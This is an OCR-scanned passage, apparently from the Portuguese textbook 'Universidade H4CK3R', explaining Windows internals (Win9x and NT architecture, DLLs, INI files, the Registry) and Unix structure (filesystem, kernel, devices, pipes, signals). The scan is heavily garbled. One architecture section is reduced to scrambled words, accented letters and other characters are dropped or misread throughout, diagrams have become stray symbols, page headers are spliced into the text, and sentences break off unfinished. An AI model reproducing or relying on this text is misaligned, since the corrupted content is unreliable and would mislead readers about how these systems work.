O Gerenciador de Configuraes,
por outro lado, o responsvel pela
auto-matiz ao da instalao
de
hardware Plug and Play e seus drivers.
configurao
e desins-
Programas
Acessrios
Shell de 32-bits
arquIvos
instalveis
,
,
(IFS)
..,
, ,
-
170 I
Plataforma Windows
" I'
. ,I
Gerenciadorde
DriversWDM
Universidade 1 ano
Por fIm, o WDM (Win32 Driver Model) uma camada de traduo entre os
drivers de dispositivo e o ncleo. Ele "engana" o driver, fazendo-o pensar que
est instalado no kernel de um Windows NT. Com isso, fornecedores de
hardware podem desenvolver drivers que funcionem em ambas as plataformas indiferentemente.
A camada do sistema operacional mais prxima do hardware a de device
drivers. Estes so compostos por dois tipos complementares de drivers, os
Universais e os Mini-drivers. Veja a ilustrao:
Device
Os drivers Universais so grandes guarda-chuvas com especifIcaes genricas para os dispositivos. Por exemplo, h um driver chamado Universal Modem
que contm informaes genricas compartilhadas pela maioria dos modens.
Isso facilita sobremaneira o desenvolvimento de drivers com as caractersticas
especficas. Tais caractersticas so implementadas em drivers auxiliares chamados de Mini-drivers. No nosso exemplo dos modens, um fabricante pode se
basear no driver Universal e escrever um Mini-driver apenas com as
especifIcaes que diferirem. Note ainda que muitos dispositivos de hardware
podem trabalhar somente com o driver universal.
O tipo de driver mais comum o Virtualization Driver, ou VxD.Alguns dispositivos de hardware devem ser capazes de atender simultaneamente a solicitaes de diversos programas. Esses dispositivos usam VxDs para criar vrias instncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o
hardware em questo exclusivo para si.
O ltimo elemento , em companhia da Interface com o Usurio, o mais palpvel. O Registro um banco de dados que guarda as confIguraes globais de todo
o sistema, bem como as de cada aplicativo. Qualquer alterao comportamental
ou de funcionamento do sistema deve ser efetuada no Registro.
~ FamliaWinNT
A arquitetura da famlia WinNT difere radicalmente da famlia Win9x. Nela, h
uma separao explcita entre o modo de operao do kerne1 e o modo de
operao do usurio. Os programas do usurio rodam em um espao de memria exclusivo e possuem um tempo determinado de uso de cpu. Os processos
rodando no modo kerne1 esto, dessa forma, protegidos contra a ao predatria de programas "mal-educados".
I
Plataforma
71
Windows
I Universidade
H4CK3R I
System
Support
processes
Service
Processes
User
applications
SubsystemOLls
Enviroment
subsystems
User Mode
Kernel Mode
Executive
~~r~elm ..ml[MOevceOriv:rs J
~H.a.rdware
Windowing
andgraphics
.Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1
Windows I
Universidade
~,
; .-: /~
ano
..
I
I
I
I
I
I
I
I
I
I
"
User
Kernel Mede
Observe
Dentro
as semelhanas
Sistema)
para
que
mdulos
cuidam
o kernel.
fornece
Lembre-se
do
Um
um
(Gerenciador
mdulo
com
a famlia NT
vrios
subsistemas
exclusivo
para segurana
rio e comunica-se
sistema
Queime
um
mostrados
contrar
Depois
chope
para
prover
pouco
disso, largue
em
negar
cada
Segurana,
os subsistemas
externos.
multiusuria
e, portanto,
os servios
mdulo,
ne-
chama-
de E/S do Windows
(discos e fitas).
usurio
controlam
os dilogos
que
a criao
h um
subsistema
de autenticao
de Referncia
de
para
de Segurana
no
o usuncleo
acesso.
e interage
sobre
e mtodos
de
o Gerenciador
ou
para
externa
modo
apresenta
de neurnios
a funciona
explicaes
que
com
agrega
comunicao
rodam
e de Chamadas
processos
de acesso. O ltimo
de armazenamento
que
de
de Referncia
e segurana
e controle
e o da famlia Win9x.
idntica ao do Windows
de Processos
instncias
verdadeiramente
de hardware,
os dispositivos
funo
o Gerenciador
mquinas
do
de
para dispositivos
com
de Objetos,
servios de autenticao
do de Gerenciador
Os
VMM
gerenciamento
novo
de que
mdulo
mente
. .
e diferenas
do Executive, temos
Mede
um
e tente descobrir
com
os outros.
deles, sem
o livro, arrume-se,
saia de
como
Pesquise
deixar
casa
cada
na
um
de procurar
e v ver
dos mdulos
Internet
por
at en-
nenhum.
gente. Tomar
um
talvez...
1731
I
Plataforma
Windows
I Universidade
H4CK3R I
Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, entendemos qualquer atividade em algum hardware - o movimento do mouse,
por exemplo - ou os sinais provenientes de programas - quando uma janela
fechada.
O Windows possui trs entidades principais: programas, janelas e mensagens. Os programas so os aplicativos que as pessoas usam: seu editor de
textos preferido, a calculadora, o jogo de Pacincia ou o emulado r de terminal. Cada programa possui uma ou mais janelas. O usurio se comunica com
os programas atravs do sistema operacional, que se utiliza de mensagens
para tal. Cada programa se comunica com suas vrias janelas tambm atravs de mensagens.
.
Os programas so compostos de um ou mais arquivos. Os tipos mais comuns
de arquivos em programas para Windows so os de extenso EXE (as partes
do cdigo especficas daquele programa), DLL (bibliotecas compartilhados de
funes) e, mais recentemente, controles ActiveX (um tipo especial de DLL
contendo extenses multimdia).
As DLLsso componentes importantes nos sistemas Windows. Acrnimo para
Dinamic Link Libraries, elas so bibliotecas de funes que podem ser acessadas
por qualquer aplicativo. Alm de reduzir o tamanho dos arquivos EXE, so as
DLLs que permitem que vrios programas compartilhem o mesmo recurso ou
a mesma caracterstica. Por exemplo, todos os aplicativos para Windows possuem a mesma aparncia devido a uma DLLem especial, a GDI.DLL,que cuida
da interface grfica com o usurio. Praticamente todo o kernel do Windows
baseado em arquivos DLP . Programadores podem, ainda, utilizar funes das
Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto contidas numa DLL chamada MFC.DLL.
Os programas geram diversas janelas. Alm da apresentao visual, as janelas
so entidades que encerram em si dezenas, s vezes centenas, de campos de
informao que controlam cores, tamanho da janela, tamanho da borda, posio dos objetos dentro da janela, etc. Um deles chamado de handJe, que identifica o programa que gerou a janela. Outro campo o window hand1e, que
identifica a janela com um nmero nico (diferente de zero) no sistema. Um
terceiro campo de interesse o Z-order. a partir dele que o sistema define a
ordem de apresentao das janelas.
Para a comunicao entre o sistema operacional, os programas e suas janelas,
so emitidas mensagens entre eles. Uma mensagem nada mais do que uma
pequena estrutura de dados. Normalmente, ela inclui:
5 Obviamente no estamos considerando as partes do keme1 herdadas do MS-DOS. No Apndice "o Keme1 do
MS-DOS" (que est no CD) temos uma dpida explicao de como funciona o keme1 do MS-DOS.
1741
Plataforma Windows [
Universidade 1ano
~
~
~
~
1751
1
Plataforma
Windows
I Universidade H4CK3R I
Os arquivos INI
o veterano Windows 3 possua uma maneira aparentemente fcil de manter as
configuraes do sistema. Por meio de arquivos de texto simples com extenso
INI, era possvel definir todas as configuraes do Windows e das aplicaes,
carregar drivers de dispositivo e mdulos para o kernel do sistema operacional.
Inicialmente havia dois arquivos, WIN.INI e SYSTEM.INI.O primeiro armazenava as configuraes referentes ao usurio (cores, cones, posio das janelas) e o segundo as partes referentes mquina, ao hardware e ao funcionamento interno do Windows - drivers de dispositivo, programas residentes, caminhos e arquivos internos. O arquivo SYSTEM.INIguardava tambm configuraes dos programas e aplicativos que o usurio instalava em sua mquina.
Mas a vida era dura antes do Windows 95. Os arquivos INI podiam ter um
tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa
limitao permitia guardar uma quantidade de informaes muito pequena. A
soluo foi colocar, no SYSTEM.INI,apontadores para o local de outros arquivos
INI, e cada aplicao poderia ter o seu. Os programas ainda tinham permisso
de manter suas configuraes no SYSTEM.INI,mas os desenvolvedores eram
encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.INIhavia uma
indicao para o Microsoft Excel (C/OFFICEIEXCEL.INI), e nele o Excel guardaria suas configuraes. Simples, no? Nem tanto.
No incio, os usurios instalavam poucos programas. Gerenciar poucos INIs
era tarefa fcil para o Windows e para o usurio. Mas, medida que novos programas comearam a aparecer - alguns srios e uma imensa maioria de inutilidades repletas de barulhinhos -, j no era possvel desempenhar tal funo com
a galhardia de outrora. Como determinar qual dos arquivos INI (os de sistema e
os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante?
O limite de 64 KBtambm comeou a ficar pequeno para a quantidade de detalhes que cada aplicao tinha de armazenar, e mesmo o SYSTEM.INIestava repleto
de vetores apontando para os outros INIs. Outros fatores contribuam para o aumento do tamanho dos INIs: aplicativos que eram desinstalados normalmente no
removiam suas linhas do SYSTEM.INI,e mesmo um simples upgrade de programa
(por exemplo, do WordPerfect 2 para o 3), na maioria das vezes, terminava em
configuraes duplicadas no arquivo. No boot, o Wmdows era obrigado a ler o
contedo de paquidrmicos WIN.INI e SYSTEM.INI,que, mesmo menores do que
64 KB, contribuam para a queda de desempenho do sistema.
761
Plataforma Windows [
Universidade 1 ano
Registrar o qu?
A partir do Windows NT,e notadamente no Windows 95, a Microsoft introduziu uma nova maneira de lidar com essas informaes que fosse, ao mesmo
tempo, centralizada e flexvel. Batizada de Registro do Windows (ou, em ingls,
Windows Registry), o novo sistema de armazenamento alivia o SO de ter de
lidar com uma infmidade de arquivos INI espalhados por diversos diretrios.
Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como
um banco de dados em que so arquivadas todas as configuraes do sistema.
Sempre que um usurio faz alguma mudana no Painel de Controle, altera alguma associao de arquivo ou instala um programa, tais mudanas so guardadas nele. O sistema ainda usa o Registro para rastrear os softwares instalados,
seus arquivos e como cada programa se relaciona com os outros.
Em termos puramente lgicos, o registro uma entidade nica, embora esteja fisicamente contido em um conjunto de arquivos separados por afinidade de
configurao. Cada um deles possui um tamanho limite de 40 MB - mais do que
suficiente para qualquer aplicao.
Na fanlia Wm9x temos os arquivos SYSTEM.DAT,
que trata das configuraes
de hardware e software, e USERDAT,que trata das configuraes pessoais de cada
usurio. O Wmdows Me ainda possui um terceiro arquivo chamado CLASSES.DAT,
que armazena algumas informaes sobre programas e associaes de arquivos.
Os arquivos SYSTEM.DAT
e CLASSES.DAT,
sendo nicos, esto sempre no diretrio
C\ WINDOWS.Sempre h um USERDATnesse mesmo diretrio, tambm. No entanto, se o seu sistema estiver configurado para permitir perfis, cada usurio ter
seu prprio USERDATno diretrio C\WINDOWS\ Proilles\<nome do usurio>\,
ficando o arquivo do diretrio do Wmdows apenas como default. Quando o usurio faz login no sistema, sua rea de trabalho personalizada ser lida e carregada.
Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios compartilharo as mesmas preferncias gravadas em C\WINDOWS\USERDAT.
A fanlia WinNT (incluindo a o Windows 2000) mantm todos os arquivos
do registro em %SystemRoot%\System32\Config.Ao contrrio do Windows 9x,
seis arquivos abrigam o registro da famlia NT: DEFAULT.DAT,SAM.DAT,
SECURlTY.DAT,
SOFTWARE.DAT,
SYSTEM.DATe NTUSERDAT.Os arquivos que
contm o registro so chamados de Hives7.
Apesar das diferenas fisicas, logicamente os registros das duas fanlias so muito
parecidos. Ambos residem em arquivos binrios, so baseados em elementos simples, compostos por uma dupla "nome = dado", so organizados em cinco ou mais
grandes sees, chamadas de Root Keys (ou HKEYs) e no podem ser editados
diretamente: necessrio usar programas especiais para tal. Existem diversas ferramentas que podem ser utilizadas para visualizar e editar o registro. A mais simples o Editor de Registros (REGEDIT.EXE),
includo no prprio Wmdows. Usaremos o RegEdit para "escarafunchar" um pouco em nosso sistema.
7 Uma curiosidade: os Hives do Wmdows XP no possuem a extenso .dat
1771
] Plataforma
Windows
I Universidade
H4CK3R
A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierrquica. Por isso mesmo essa estrutura assemelha-se organizao em diretrios
e subdiretrios - ou, usando a terminologia Microsoft, "pastas e subpastas". O
RegEdit tira partido disso e apresenta essa estrutura de forma muito similar
que o Windows Explorer mostra o contedo de seu disco rgido.
.,u.]..[
".,..".
[valor no definido)
,
.
I!H~"
I~H~ HKEY_CURRENT
_CONFIG
ffJ1ill2IHKEY_DYN_DATA
Observe que os dados esto organizados em seis grandes grupos cujos nomes iniciam-se com a sigla HKEY Cada um desses grupos chamado de seo
ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root
Key HKEY_USERSdo exemplo acima, h uma chave chamada .DEFAULTe outra chamada Software. Chaves podem possuir duplas nome/dado chamadas de
valor ou outras chaves. A chave Software possui uma subchave chamada
Microsoft, que por sua vez possui outra subchave chamada Windows, que por
sua vez possui um valor padro. So as duplas nome/dado que realmente armazenam as informaes no registro. H trs tipos de valores: String (um valor
em texto puro), Binary (um valor binrio - normalN.omei."
mente dados referentes a hardware e chaves de ati;.!ILba&$v<.< "w
J (Padro)
(valorno definido)
"1"
vao criptografadas de software) e DWORD (norJ AUach
ToD e,klop
"16"
8!1 Bit,PerPixel
malmente
um valor booleano - 1 para ativado, O
"240.180"
8!1 D e$ktopPo$
"96"
8!1 DPILogica~
para
desativado).A
utilizao de cada um deles de~"C"M:M'"
pender do contexto.
H cinco sees em algumas verses do Windows e seis nas demais. Cada
seo tem uma especializao e contm as informaes referentes a ela.
~ HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de
arquivo do Windows. por meio dela que o Windows suporta drag and drop e
OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI
178 I
Plataforma
Windows
Universidade 1ano
CLSIO?
Algumas chaves e valores possuem um cdigo completamente ilegvel chamado CLSID.Acrnimo para Class Identifier, os CLSIDsso uma seqncia de letras
8 Classes so entidades "c1onveis" que encerram dentro de si valores variveis e constantes e rotinas
chamadas de mtodos. Para mais informaes, consulte os apndices sobre programao disponiveis no CD.
1791
I
Plataforma
Windows
I Universidade
H4CK3R I
180 I
Plataforma Windows [
Universidade
1 ano
] Plataforma
81
Windows
I Universidade
H4CK3R
o tesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma
desenvolvedora de software, possui uma subchave em HKEY_LOCAL_MACHINE\
SOFIWARE. A diferena que, sendo a desenvolvedora do sistema, colocou ali tudo o
que poderia ser necessrio para a configurao e integrao com outros produtos Microsoft.
Portanto, no h aqui apenas infonnaes sobre os programas Microsoft instalados, como
oWord ou o Excel.Muitas infonnaes que podem ser usadas pelos servios de BackOffice,
bem como a maioria dos servios Microsoft, possuem chaves aqui. Infonnaes sobre
DIls, controles e plug-insActiveX, o Microsoft Installer (MSI) e a localizao das mdias de
instalao, entre outras coisas, tambm possuem entradas sob a chave Microsoft.
Como exerccio antes de prosseguir, coloque o livro um pouco de lado e
pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em
uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/
dado) dos valores. Observe que h chaves que possuem vrios valores em um
nvel, mesmo este tendo subchaves de nvel mais baixo. No altere nada! Apenas observe e deixe a chave Windows para o lmal. Pronto? timo!
Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Current
Version, ITStorage e Shell. A ITStorage e Shell no tm muita utilidade em sistemas isolados, mas a Current Version possui muitas informaes interessantes. Observe os valores da prpria chave. Entre eles temos o ProductID
(que, no Wmdows XP,
,
importantssimo para a ativao - e um dos valores alterados pelos crackers para
burl-Ia) e os caminhos para os componentes primrios do Wmdows, como o local
onde esto os arquivos de programas.
Alm desses valores, a chave Current Version abriga centenas de subchaves. Algumas so fceis de entender, como a chave Explorer\Tips, que contm as "dicas do
dia". possvel alter-Ias para colocar outras dicas ou mesmo incluir mais valores
com novas dicas. Outras subchaves so mais hermticas. A subchave Installer, por
exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz uso dos
indecifrveis valores CSLID.Navegue um pouco por essas duas chaves e s retome a
leitura do livro quando tiver uma viso geral do fimcionamento de ambas.
Com esses fimdamentos entendidos, o Registro do Wmdows j no deve ser mais
um mistrio to obscuro para o leitor. Como "tarefa para casa", sugerimos o estudo
(com o RegEdit) das seguintes chaves:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\
- App paths
182 I
Plataforma Windows [
ano
Universidade,o
Control panel
Controls Folders
Explorer
Installer
policies
Run (programas carregados em todos os boots)
RunOnce (programas carregados s urna vez)
- RunOnceEx (programas carregados s urna vez e depois
excludos)
- Setup
- SharedDLLs
(MUITO importante!)
- Unins tall
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
HKEY_LOCAL_MACHINE\SYSTEM\Setup
1831
] Plataforma
Windows
Plataformas
nlx
Captulo
! Universidade H4CK3R I
86
Plataforma
Unix
Universidade 1ano
programadores. Tambm por essa origem, h uma enorme e fraternal comunidade de usurios que trocam experincias e se ajudam mutuamente. As grandes
empresas que fabricam ou oferecem solues baseadas em Unix formaram um
consrcio e definiram diversos padres que garantem interoperabilidade e
conectividade. O Unix considerado, exatamente por isso, um sistema abertol.
Sim, o Unix belo. Mas belo como um grande felino. Dom-Io requer treinamento, persistncia e um pouquinho de coragem. O conhecimento para dominar nossa fera no "rocket science", entretanto. As pessoas sentem-se amedrontadas pela quantidade de ferramentas disponveis ou pela prpria linha de
comando. As interfaces grficas, apesar de no serem "toscas" como nos primeiros tempos, so diferentes das que a maioria dos usurios est acostumada. Por
fim, h vrios "sabores" diferentes de Unix a escolher. Cada qual tem seus atrativos, mas tambm tem suas dillculdades e... Espere a! Sabores?
falamos
de padres
abertos. A discusso
1871
I
Plataforma
Unix
I Universidade
H4CK3R
mente escrita no Assembler do PDP-7.Para convencer seus superiores nos Bell Labs
da seriedade do projeto, apresentaram-no como um futuro sistema para
processamento de textos, o que posteriormente evoluiu para um sistema operacional
de uso geral.A palavra Unix2 era um trocadilho com o nome do MULTICS3.
Apenas em 1971 o Unix seria considerado um sistema operacional acabado.
At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" viesse ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a
partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e
pde, com isso, ser portado para qualquer mquina: bastava recompil-Io. O
conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos
horizontes para a computao. Em 1977, o Unix foi lanado como sistema
operacional comercial e, de l para c, vem equipando sistemas to diversos
como dispositivos de mo e supercomputadores Cray.
Neste livro, usamos a palavra Unix indiscriminadamente referindo-nos a qualquer variao ou "sabor" dos sistemas baseados no Sing1e Unix Specification,
que engloba os padres POSIX,XPG4 e ANSI C. Outros autores usam as nomenclaturas *nix, u*ix e Unix-like. Unix marca registrada do The Open Group
(www.unix-systems.org). "Similares a Unix" indica sistemas que se parecem com
um Unix, mas no o so oficialmente (como o GNUlLinux e o FreeBSD).
POSIX
Os trs documentos que formam o superconjunto Single Unix Specification
aplicam-se a partes diferentes do sistema. ANSI C o padro para a linguagem
de programao recomendada para o desenvolvimento de sistemas Unix e pode
ser encontrado em (www.ansi.org). J o XPG4 o padro para implementao do
servidor X, o programa central para aplicaes grficas em Unix. Informaes sobre
a especificao, o servidor X e o X Consortium podem ser obtidas em (www.x.org).
Mas h um mais importante que os outros dois. Todo Unix que se preze deve,
obrigatoriamente, aderir ao POSIX, um padro mantido por vrias entidades:
IEEE e Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as
chamadas de sistema, ou seja, as mensagens e sinais que os processos vo trocar entre si. Podem ser comparadas s mensagens do Windows que vimos no
captulo anterior, mas as system calls do Unix so muito mais numerosas,
especializadas e modulares.
2 No h espao aqui para contar toda a interessantssima histria do Unix. Um dos melhores documentos sobre os primeiros
dias, escrito por Dennis Ritchie, pode ser encontrado
no endereo
cm.bell-labs.com/cm/cs/who/dmr/hist.htmI.
Alm de curiosidades histricas, so descritos os fatos que
levaram o Unix a se parecer com o que hoje.
3 No pense que o MUL11CSmorreu em 1969! Seu desenvolvimento continuou e a GE (depois comprada
pela Honeywell e, mais recentemente, pela BulI) utilizou-Q como um de seus sistemas principais por muitos
anos. O ltimo sistema MUL11CSainda em 1imcionamento foi oficialmente desativado em 31 de outubro do
ano 2000. Para saber mais sobre MUL11CS, visite o site dos aficionados: www.multicians.orl!. Um ensaio
sobre o quanto o Unix foi inspirado no MULTICS pode ser visto em www.muIticians.orl!/unix.htmI.
188 I
Plataforma
Unix
Universidade 1ano
As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este
tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase
que como uma lavagem cerebral...). Todo hacker que se preze deve conhecer
sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste
captulo, antigos detratores desse decano mudem de religio e passem a rezar
na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certamente faro parte de sua vida de ciberativista.
1891
I
Plataforma
Unix
I Universidade
'
Estrutura
Os sistemas operacionais da fan1iaUnix podem, para fins didticos, ser divididos em partes classificadas por funo: kemel (ceme ou ncleo), shell (concha
ou casca) e programas do usurio (aplicativos e ferramentas). Como essa abordagem muito parecida com a prpria definio de sistema operacional , podemos usar uma simplificao do diagrama em camadas para demonstr-Io.
Essestrs grandes componentes se utilizam de uma
estrutura fsica universal chamada de sistema
de arquivos.Antes de entrar em detalhes sobre shell, system calls, processos e
kemel, vamos mergulhar um pouco nessa infra-estrutura sobre a
qual todos os Unix so montados. So necessrios alguns fundamentos e comandos do shell para
percorr-Io. Caso tudo
isso seja muito novo
para voc, consulte o
apndice E,"B--b
do Unix".
Sistema de
arquivos
o
Microsoft
Windows
possui
uma estrutura bsica de diretrios. Entretanto, ela existe
como conseqncia
da estruturao do sistema, no como causa. Os arquivos de sistema relevantes
esto frouxamente
organizados
no diretrio
Windows
(ou WinNT) e
subdiretrios dentro dele. Mesmo as partes do kemel esto dispostas em arquivos separados, misturados com outras centenas de arquivos dspares jogados
dentro de C\WlNDOWS. O grande agente aglutinador do sistema operacional
microsoftiano o Registro do sistema4.
4 Lembrando que o Registro dos sistemas Windows fisicamente gravado em diversos arquivos, e que
cada verso possui um conjunto diferente deles. Quando falamos em organizao do Registro aqui, estamos
nos referindo organizao lgica, aquela que apresentada ao usurio quando ele abre o Editor de
Registro e que comum a todas as verses do sistema.
I
Plataforma Unix I
Universidade 1 ano
] Plataforma
Unix
Universidade H4CK3R
/
bin
dev
etc
home
lib
mnt
proc
sbin
tmp
usr
bin
doc
etc
include
lib
local
man
sbin
share
src
var
192 I
Plataforma Unix
Universidade 1 ano
trados nele. A dupla /usr/include e /usr/src presta-se para a compilao de programas a partir do cdigo-font. O /usr/doc guarda uma gama varivel de documentos
sobre o sistema e os programas instalados. J o /usr/man encerra a documentao
oficial do sistema, as chamadas man pages. O /usr/share possui qualquer tipo de
arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os
programas e usurios.
Por fim, o diretrio /usr/local um "mini /usr". Possui uma estrutura de diretrios
praticamente idntica ao /usr. Serve para que programas locais possam ser instalados em computadores que possuam o /usr em outra mquina na rede. Apesar de /usr
ter a possibilidade de ser um "drive de rede", o /usr/local continua sendo armazenado localmente no HD.
Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for
o superusurio e usar somente os comandos no-destrutivos como cd, ls e cat, no h
possibilidade de "estragar" nada. Depois de faz-lo, v para casa, se arrume e saia,
como fez no captulo anterior. Ou antes, largue este livro e pegue Crime e Castigo,
de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.
o cerne
da questo
O kerne1 cria processos toda vez que pedimos ao sistema operacional para
rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem
entre si e no se destruam mutuamente, e tambm gerencia os recursos (memria, CPU, perifricos) que cada processo utiliza.
Compare o diagrama da prxima pgina com o do captulo anterior. Pode-se
ver claramente que a imp1ementao Unix difere radicalmente de sua equivalente Windows. Enquanto o sistema da Microsoft utiliza o conceito de microkerne1
apenas as funcionalidades bsicas esto no kerne1 e h diversos subsistemas rodando em user mode -, no Unix tudo est embutido num ncleo monoltico.
Mesmo em implementaes cujo kerne1 modular, os mdulos tambm rodam
em kerne1 mode. Apenas os processos dos programas e servios (daemons) rodam no espao do usurio.
6 o dretrio /usr/include armazena os cabealhos com os prottipos das funes em C presentes nas
bibliotecas /lib e /usr/lib, enquanto o /usr/src recebe o prprio cdigo-fonte a ser compilado.
1931
I
Plataforma
Unix
I Universidade
H4CK3R I
---------------------User Mode
Kernel Mode
Interfacede servio
J
FileSystem
J
Gestode memriae Input/Output
"o DOPro
Hardware
Programas
Os processos comunicam-se
com o keme1por meio de chamadas de sistema ou system
mostrada no diagrama). As
system ca11sinteragem com os
componentes do SO por meio
do sistema de arquivos (no se
esquea: em Unix tudo arquivo). Por ele, o keme1 controla
o hardware, os arquivos do usu-
1941
Plataforma Unix
Bibliotecasde Sistema
Usurio
Sistema
Systemcall1nterface
!
Controlede Processos
Comunicao entre
processos
Scheduler
;.Caracter
Oriented Oriented.
D.~y.!!t~.Q.ril,l~nL..
Gesto de memria
Controle de Hardware
Sistema
Hardware
Universidade 1ano
Dispositivos
Os dispositivos do sistema presentes em /dev so arquivos especiais que se
comunicam com o hardware. Melhor dizendo, so representaes (imagens) dos
dispositivos em formato de arquivo. Toda a discusso sobre interrupt handlers
que tivemos no captulo sobre o Windows vale para os sistemas Unix tambm.
Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS
em sistemas baseados em hardware PC.Todas as funes originalmente a cargo
da BIOS(excetuando-se a inicializao da mquina) so implementadas no kerne1.
Outras plataformas de hardware sequer possuem algo parecido com uma BIOSde
PC e, portanto, a implementao dessas funes no kernel obrigatria.
Lembram-se de como os dispositivos eram acessados no Windows, por meio
de device drivers e VxDs? No Unix, obviamente, tambm h device drivers. Mas
ao contrrio do Windows, os drivers so mdulos do kerne1. Tais mdulos podem ser tanto compilados no prprio kerne1 de maneira monoltica como carregados sob demanda na memria, se forem compilados como autnomos. A
reside a diferena radical entre a abordagem microkerne1 do Windows e a de
kerne1 monoltico do Unix. Os arquivos de dispositivo presentes no /dev comunicam-se com os device drivers - e, portanto, com o prrpio kernel, que se
encarrega de controlar o hardware para o qual o driver foi escrito.
Os nomes dos dispositivos so organizados de forma simples. Normalmente
um grupo de duas a quatro letras e, opcionalmente, nmeros. Por exemplo, o
primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema
Linux o /dev!hda, o segundo o /dev!hdb. Em um Solaris, os mesmos discos
esto representados pelos arquivos /dev/dsk/cOtOdO e cOtldO. H trs tipos de
dispositivos: de bloco, de caracter e de interfaces de rede.
Os dispositivos orientados a caractere (character devices ou, ainda, char devices)
1951
I
Plataforma
Unix
I Universidade
H4CK3R
so aqueles que podem ser acessados como um arquivo comum. Voc pode
escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers
que implementam esses dispositivos aceitam ser manipulados por funes primitivas como open(), close(), read() e write( ).Alguns exemplos so as portas
seriais, o teclado e o mouse.
bvio que h diferenas entre os dispositivos de caractere e um arquivo comum. Se for criado um arquivo comum e, dentro dele, for gravada a frase "Hey
Beavis, I'm a Unix string!", possvel recuperar essa frase toda vez que o arquivo
for lido. Um char device, por outro lado, apenas um canal de comunicao entre
o espao do usurio e o dispositivo. O que for enviado por meio do /dev tratado
pelo hardware e no pode mais ser recuperado. Quando se tenta ler do dispositivo, o que se obtm so os dados que o mesmo est enviando ao sistema de
arquivos naquele momento, no os gravados anteriormente.
Os dispositivos orientados a bloco (b10ck devices), por outro lado, s podem
ser acessados por meio de grandes pacotes de informao. Normalmente encerram em si componentes nos quais possvel guardar sistemas de aquivos, como
HDs, disquetes e CD-ROMs.Um disco rgido, na maioria dos sistemas Unix, s
pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo,
apenas 128 bytes no disco, ser usado um bloco de 1 Kbyte (1024 bytes) para tal.
Os b10ck devices possuem, por isso mesmo, uma velocidade de transferncia
(throughput) muito maior do que os dispositivos de caractere.Tambm por transferirem grandes quantidades de dados, podem contar com uma rea de transferncia auxiliar (buffer) do tipo cache, que aumenta ainda mais o throughput.
O ltimo tipo de dispositivo presente no /dev so as chamadas interfaces de
rede. Em sistemas Linux, so representadas no /dev por ethO para a primeira
placa, ethl para a segunda e assim por diante. Em um sistema HP-UX,que usa
placas Intel, as interfaces foram chamadas de itlO, itll, etc. H dispositivos de
rede que so puro software. Dois exemplos so o loopback (interface 10), que
direciona o trfego de rede para a prpria mquina (endereo 127.0.0.0), e os
sockets de comunicao do servidor X Window.
As interfaces de rede so, no fundo, dispositivos orientados a caractere, embora
especializados. Em algumas implementaes, os dispositivos SCSIso considerados
como um quarto tipo de dispositivo,embora sejam,na prtica, dispositivos de bloco.
1961
Plataforma Unix I
Universidade 1ano
[~iI~~j ~~:~!~J
Sempre "escutam"
a rede espera
de conexes
I IpeloINETO
1971
I
Plataforma
Unix
I Universidade
H4CK3R I
grep netscape
Esse comando toma a sada do primeiro programa (ps -e) e o joga na entrada
do segundo programa (grep netscape). Observe que os dutos tm uma peculiaridade: apenas ligam processos oriundos do mesmo pai. No caso acima, os comandos ps e grep so "irmos", ftlhos do mesmo shell.
Um terceiro mtodo de os processos se comunicarem atravs dos IPCMFsou
Inter Process Communication
I
Plataforma
Unix I
Universidade 1ano
Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os
sinais. So mensagens muito simples que um processo envia a outro. Apenas processos ativos podem enviar sinais. Como apenas um processo pode estar ativo
em um dado momento - a no ser que o sistema possua vrios pocessadores -,
um sinal certamente vai acordar o processo destino, que obviamente est suspenso.
Quando um processo suspenso volta atividade, o kerne1 verifica se existe
algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providncias: ignorar o sinal, entreg-Io ao processo destinatrio ou captur-Io. Quando um
sinal capturado, o sistema executa uma de suas rotinas de tratamento de sinal,
que varia de acordo com a natureza do mesmo.
Origina1mente,eram considerados 22 sinais.Segundo o padro POSIX.1,hoje, h 31
sinaisdiferentes,cada um solidtando uma ao espefica no processo destino. So eles:
